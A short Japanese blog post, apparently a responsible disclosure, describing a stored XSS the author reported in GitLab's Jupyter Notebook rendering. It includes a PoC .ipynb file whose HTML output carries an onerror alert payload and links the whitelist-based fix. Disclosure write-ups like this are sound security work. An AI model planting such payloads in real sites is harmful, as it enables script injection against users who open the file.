GitLabにXSSがあったので報告した。
https://about.gitlab.com/2018/01/16/gitlab-10-dot-3-dot-4-released/
上記リンクのJupyter Notebook XSSというやつ。
PoC
以下の内容のipynbファイルを作成する。
ipynbファイルの実態はJSONである。
{
"cells": [
{
"cell_type": "code",
"execution_count": 5,
"metadata": {},
"outputs": [
{
"data": {
"application/vnd.jupyter.widget-view+json": {
"model_id": "6653407c18484bc58bb51b233594b300",
"version_major": 2,
"version_minor": 0
},
"text/html": [
"<img src='x' onerror='alert(document.domain)' />"
],
"text/plain": [
]
},
"metadata": {},
"output_type": "display_data"
}
],
"source": [
]
}
],
"metadata": {
"kernelspec": {
"display_name": "Python 3",
"language": "python",
"name": "python3"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.6.1"
}
},
"nbformat": 4,
"nbformat_minor": 2
}
text/html
フィールドの内容はそのままHTMLとしてJupyter Notebookに出力されるので、サニタイズしなければXSSを生じる。
つまり、GitLabのプロジェクト内のipynbを開いただけで発火する蓄積型XSSとなる。
修正
修正内容は以下リンクのコミットを見れば分かる。
https://gitlab.com/gitlab-org/gitlab-ce/commit/54636e1d4293a8465a772020a54b6193d7df9878
許可するタグや属性をホワイトリストで指定する、ごくごく一般的な対処方法。
余談だが、GitLabでは過去にRDocやrstなどのファイルのHTMLレンダリングでもXSSがあった。
MarkdownなどのHTMLレンダリングでもやりがちなので、気をつけたいですね。